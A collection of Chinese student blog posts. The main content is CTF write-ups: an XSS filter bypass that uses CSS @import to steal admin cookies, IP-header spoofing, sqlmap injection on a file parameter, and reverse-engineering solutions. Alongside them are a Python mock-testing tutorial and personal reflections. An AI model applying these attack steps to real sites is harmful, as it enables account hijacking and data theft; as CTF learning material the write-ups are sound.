初步构造xss 111@qq.com<script src="**"></script> 然后提交的时候提示必须是邮箱地址，F12干掉检测代码，提交上去。但是响应是一个alert 提交Email内容为：111@qq.com< ="**"></>,管理员会很快登录查看的！这样的话貌似是后台过滤了script和src，调整了一下大小写还是不行，后来就换成了css import的时候的一个xss @import url("***")后来成功获取到了cookies（其实这一句话还有很多艰辛，原先自己写了一个xss平台，但是现在用一时半会没法部署，找了一个第三方的还什么都收不到，最终还是临时写了一个很简单的)，获取到了cookies之后搜了搜是eyou邮件系统的，但是这个怎么去利用呢？

陷入了僵局，先去看看管理后台是什么样子的吧，直接访问提示ip不允许，把http头修改成了xss获取到的那个ip之后发现后台什么都没有，就是一个页面不断的自动刷新。。。

这时候回到主页上去，发现有一个图片显示的很奇怪，http://121.41.37.11:25045/img.php?file=1.jpg，一般没有这么用的吧。顺手把1.jpg换成了2.jpg，出来了一个命令行的截图，不过不完整，但是这样还是很快就认出来了这就是sqlmap的，原来是这里有注入～～使用sqlmap注入file参数获取到了管理员用户名，还是伪造ip登陆后台获取到了flag。

3 NormalFile

首先使用linux命令strings查看文件内有没有什么可疑字符串，后来发现出了常规的图片文件信息外貌似还有一些类似文件路径的东西，可能是文件隐写，尝试解压，提示错误，后来在windows上解压才成功的。然后就获取到了一个相同的图片，使用同样的方法，继续解压，得到一个安卓的apk。因为对安卓平台不熟悉，直接grep -r "flag"发现确实存在这个字符串，但是没有实际的flag，尝试逆向之后获取的java代码是在看不懂了

 1// Decompiled by DJ v3.11.11.95 Copyright 2009 Atanas Neshkov Date: 2014/11/8 21:49:13
 2// Home Page: http://members.fortunecity.com/neshkov/dj.html http://www.neshkov.com/dj.html - Check often for new version!
 3// Decompiler options: packimports(3)
 4
 5package cc.hctf.babytrick;
 6
 7import android.os.Bundle;
 8import android.os.Environment;
 9import android.support.v7.a.f;
10import android.view.Menu;
11import android.view.MenuItem;
12import android.widget.Button;
13import android.widget.Toast;
14import java.io.*;
15
16// Referenced classes of package cc.hctf.babytrick:
17// a
18
19public class Main extends f
20{
21
22 public Main()
23 {
24 }
25
26 static boolean a(Main main, String s)
27 {
28 return main.b(s);
29 }
30
31 private boolean b(String s)
32 {
33 String s1 = (new StringBuilder()).append(Environment.getExternalStorageDirectory().getPath()).append("/brand.txt").toString();
34 try
35 {
36 FileInputStream fileinputstream = new FileInputStream(new File(s1));
37 BufferedReader bufferedreader = new BufferedReader(new InputStreamReader(fileinputstream));
38 s = (new StringBuilder()).append(s).append(bufferedreader.readLine()).toString();
39 bufferedreader.close();
40 fileinputstream.close();
41 }
42 catch(FileNotFoundException filenotfoundexception)
43 {
44 Toast.makeText(getApplicationContext(), "I'm sorry to hear that you never try my favorite brand :(", 0).show();
45 }
46 catch(IOException ioexception)
47 {
48 Toast.makeText(getApplicationContext(), "Oh... Why don't you try that? :(", 0).show();
49 }
50 char ac[];
51 if(s != null && s.length() == 16)
52 if((ac = s.toCharArray())[15] == ac[13] && ac[4] == ac[9] && ac[5] == ac[8] && ac[7] == ac[10])
53 {
54 String s2 = (new StringBuilder()).append("").append(s.charAt(0)).append(s.charAt(4)).append(s.charAt(8)).append(s.charAt(12)).append(s.charAt(1)).append("++").append(s.charAt(13)).toString();
55 int ai[] = {
56 112, 83, 93, 112, 28, 0, 87, 91
57 };
58 char ac1[] = new char[8];
59 for(int i = 0; i < 8; i++)
60 ac1[i] = (char)(s2.toCharArray()[i] ^ ai[i]);
61
62 if((new StringBuilder()).append("").append(s.charAt(2)).append(s.charAt(6)).append(s.charAt(10)).append(s.charAt(14)).append(s.charAt(3)).append('+').append(s.charAt(11)).append('+').toString().equals(new String(ac1)))
63 {
64 Toast.makeText(getApplicationContext(), (new StringBuilder()).append(":) I'm happy to see your favorite toast is just the same as me:hctf{").append(s).append('}').toString(), 0).show();
65 return true;
66 }
67 }
68 return false;
69 }
70
71 protected void onCreate(Bundle bundle)
72 {
73 super.onCreate(bundle);
74 setContentView(0x7f030018);
75 Button button = (Button)findViewById(0x7f07003d);
76 button.setOnClickListener(new a(this, button));
77 }
78
79 public boolean onCreateOptionsMenu(Menu menu)
80 {
81 return true;
82 }
83
84 public boolean onOptionsItemSelected(MenuItem menuitem)
85 {
86 if(menuitem.getItemId() == 0x7f070040)
87 return true;
88 else
89 return super.onOptionsItemSelected(menuitem);
90 }
91}

使用Python的mock模拟测试

Fri, 03 Oct 2014 09:54:00 +0000

最近写的项目里面有一个创建预约成功后就给客户发一条短信或者邮件的功能，但是怎么去自动化的测试这个功能呢，难道每次都要发送一遍，然后去看么。这时候我们就可以引入Python的mock测试，我们首先来看一个网上流传的比较广的教程里面的例子。

1#!/usr/bin/env python
2# -*- coding: utf-8 -*-
3
4import os
5
6def rm(filename):
7 os.remove(filename)

然后测试是这样的

 1#!/usr/bin/env python
 2# -*- coding: utf-8 -*-
 3
 4from mymodule import rm
 5
 6import os.path
 7import tempfile
 8import unittest
 9
10class RmTestCase(unittest.TestCase):
11
12 tmpfilepath = os.path.join(tempfile.gettempdir(), "tmp-testfile")
13
14 def setUp(self):
15 with open(self.tmpfilepath, "wb") as f:
16 f.write("Delete me!")
17 
18 def test_rm(self):
19 # remove the file
20 rm(self.tmpfilepath)
21 # test that it was actually removed
22 self.assertFalse(os.path.isfile(self.tmpfilepath), "Failed to remove the file.")

使用mock改写后的测试是这样的

 1#!/usr/bin/env python
 2# -*- coding: utf-8 -*-
 3
 4from mymodule import rm
 5
 6import mock
 7import unittest
 8
 9class RmTestCase(unittest.TestCase):
10 
11 @mock.patch('mymodule.os')
12 def test_rm(self, mock_os):
13 rm("any path")
14 # test that rm called os.remove with the right parameters
15 mock_os.remove.assert_called_with("any path")

上面用到了assert_called_with(*args, **kwargs)按照官方文档，这就是assert这个方法被调用的一个简介的方法（翻译好别扭） This method is a convenient way of asserting that calls are made in a particular way:

大二，你在做什么？

Sat, 26 Apr 2014 15:08:00 +0000

大二软件方向本科生一个。

其实我比较喜欢的就是信息安全了，我也忘了怎么走向这一行的了。

大一的时候只是迷茫浮躁，整天也只知道玩。现在基本知道了自己以后要做什么，知道自己对什么感兴趣了。我还有时间去成长。现在也知道了很多很多的东西只有通过自己的争取才能得到的，

现在希望能找个安全公司实习，和那些大牛们接触一下，我总是爱膜拜各种大牛。包括我的几个学长，还是那些黑客、白帽子。但是蛋疼的是绝大多数的公司都在北京，上海，成都之类的地方，别人都说青岛的生活太悠闲了，让人没有创业激情。寒假暑假过去那么一小段时间，人家还不愿意要。因为暂时没有某个知道创宇实习生那样的勇气，休学去实习。

不管怎么样吧，现在还在专心的努力的学技术。各种相关的书桌子上都堆满了，暑假应该也会留在学校。学习web安全，自己虚拟机中搭建的渗透测试系统，没事就上去看看，各种sql注入，xss，挺有意思的。学习python和django，自己写一点有意思的东西，比如第三方的微信公众平台，比如小论坛，还有在线提交作业的系统。去看发布的漏洞，去学习思路。去翻各种的博客。基本上是按照知道创宇的的那个技能表来的。同时也在真心的帮助两个很有潜力的学弟。

我算是一个geek，别的方面也搞。最近拿到一个树莓派，这几天打算改造成一个使用wifi控制的小车。同时在搞的还有kinect人脸识别，当然了，这个都说不是主要的，为了弄点经费混饭吃的。

不喜欢上课，不知道为什么，可能就是内心里抵制这种教育制度吧，基本上都是最后两周自学过的。当然不上课的时间就是去实验室写代码，刷微博，刷知乎。

网上流传的这样一段话，

1大学四年，我没有想过要去做学霸，拿多少奖学金，讨班导开心，做学生干部，成为风云人物，我只想在这个独一无二的四年里，学想学的东西，翘想翘的课，做喜欢做的事，修身、学习，成为想成为的人，离开时，我希望的不是别人说我很牛，而是我和别人不一样，逝去的青春，我只希望，心安理得，快乐自得。

也许就是我的写照吧。大学四年，希望成就一个优秀的自己，让自己更加强大。

原发于我的知乎 http://www.zhihu.com/question/19872727/answer/24936279

第二届青岛高校网络攻防竞赛暨国内高校邀请赛 write up

Mon, 21 Apr 2014 08:23:00 +0000

昨天去中国海洋大学参加第二届青岛高校网络攻防竞赛暨国内高校邀请赛，类似于ACTF, BCTF的形式，主要有逆向，溢出，破解，隐写，web安全等等。

连续7个小时的比赛，最终做出来4道题，500分，三等奖，毕竟就是没经验。而第一名的竟然是清华的蓝莲花团队，他们到底有多么牛，见这里http://www.freebuf.com/news/others/10552.html

下面把做出来的几道题目总结一下。

第一题：

这个是逆向，直接上IDA，注意这是一个linux下的可执行程序。明显的，主函数中调用cal函数，然后看cal函数， cal函数，大致就是自己通过一系列的运算产生一个字符串，

然后看putin函数，接受用户输入，然后比较，如果是对的，提示good luck。这个程序的逻辑搞清了，自己实现以下那个cal函数就好了。注意里面有一个全局变量，先去找到它的值。然后自己把c代码复制过来，稍加调整。

 1#include <stdio.h>
 2#include<string.h>
 3char word[34] = "sAFHLJAacKFvS@FeL;S_Ja*FMFSuasDnsd";
 4
 5int __cdecl Cal()
 6{
 7 char v1[8]; // [sp+1Bh] [bp-3Dh]@5
 8 char v2; // [sp+23h] [bp-35h]@7
 9 int v3[9]; // [sp+24h] [bp-34h]@1
10 int i; // [sp+48h] [bp-10h]@1
11 int v5; // [sp+4Ch] [bp-Ch]@1
12
13 v5 = 0;
14 v3[0] = 0;
15 for (i = 1; i <= 8; ++i)
16 {
17 v5 += 4;
18 v3[i - 1] = v5 - 1;
19 }
20 for (i = 0; i <= 7; ++i)
21 v1[i] = word[v3[i]];
22 v2 = 0;
23 return v1;
24}
25
26
27int __cdecl main()
28{
29 
30 Cal();
31 return 0;
32}

程序写的不全，在return v1那下断点，看到值为have_fun!

第二题：你会用vim么

这个文件直接打开也是有一点信息的，但是没啥用，后来使用file命令判断文件格式，发现是vim交换文件。

1liyang@vm:~/Desktop$ file hacker
2hacker: Vim swap file, version 7.3

以前其实没见过这个，初步的猜测就是vim崩溃的时候的内存dump，搜索一下，发现有由交换文件获取之前文件的办法。 vim -r xxx.swp base64编码，那就解码，

乱七八糟的2013

Sat, 28 Dec 2013 21:32:00 +0000

首先是贴一个链接http://www.zhihu.com/question/22260598 这个问题基本上能解决很多人的困惑，就这样，我我早就是认为这个没啥区别的。了解到大多数学校都是这样，注重单科成绩却没有能够帮助学生形成一个知识的体系。如果能有所学知识体系的简单了解，我想我们在学习的过程中一定会有更大的收获。另外学校还爱瞎折腾一些没用的政治教育，浪费我们宝贵的时间。

这学期在实验室coding，算法什么的真心没学会多少，但是在这里面对自己的专业有了新的认识。计算机最重要就是去应用，而不是那些理论。算法真的很重要，但是现在并不是重点，慢慢来，能搞比较实用的东西就先去动手去做。所有的东西都是在实践中得到的，我也没有专门学习过什么数据库，什么web开发，而是不会的去现去学习，不会的就去搜索，就是这样。我还要再说一点，没有什么好学校，唯有好学生尔。好的学生应当保持对学校的独立性，学校对你的一切评价都是纸老虎。你唯一的评价标准就是昨天的自己。不要依赖学校，而是将学校作为实现梦想的平台。不要想什么集体荣誉，你要做的就是尽最大可能，利用学校的一切资源去丰富自己。我大爱在实验室认识的那些学长们，那些技术大牛们，让我大开眼界，我感谢大家对我所提的所有问题都能耐心解答。

整天说“时间怎么这么快啊，一周这么快就过去了”，是啊，现在一年又过去了。我现在还记得2013年元旦去五四广场看烟花，被困在半路回不来的场景；今年夏天新生入学去当代班，还记得自己入学的时候的情景。好好的想想的话，也不知道时间过了这么快自己学到了什么。大一下学期真心觉得是全玩过来的，现在有些后悔那时候没有尽早的去学习一些专业的东西，现在我也是经常提醒几个认识大一的技术还不错的，有空就多学学专业知识。大二搬到了中心，在实验室，主要就是算法吧，算法是一种自己很膜拜但是不会驾驭的东西，什么搜索，贪心，动态规划等等，不知道怎么去应用他们。当然这不是重点了，算法不会，我就自己去学习别的东西吧，比较成功的就是把python和django搞定的差不多了。现在和几个小伙伴们做青大团委微信的开发，空教室功能已经基本写完了，别的功能呢框架基本弄好了（https://github.com/virusdefender/qdutw_weixin）。

这个学期挺忙的，很多乱七八糟的事情也都不再去搅和了。但是还是真心没有好好学习其他的知识，还好英语什么基础还算是比较好的，看个什么英文的官方文档压力倒还不大，但是别的呢，什么工数，什么日语就不忍心再提了。其实我以前认为那种早起背英语，上课认真听，好好的写作业，然后专业课很厉害，能写很多项目的自己原来是是不存在的。

2014年事情是超级超级的多，首先是英语四六级，你怎么也要准备一下吧。据说可能还有什么日语三级，我这直接只会说“你好，我是***，初次见面请多多关照”的情何以堪。还有什么蓝桥杯，我打算是蓝桥杯完了就跳槽去另一个实验小组，那就意味着有更多的实际开发任务在等着~~还有团委合作的开发项目等等~~实际开发能力是我认为最重要的吧。

好吧，2014算是我的大学生活正式开始了吧，这才是大学，以前的生活弱爆了啊~~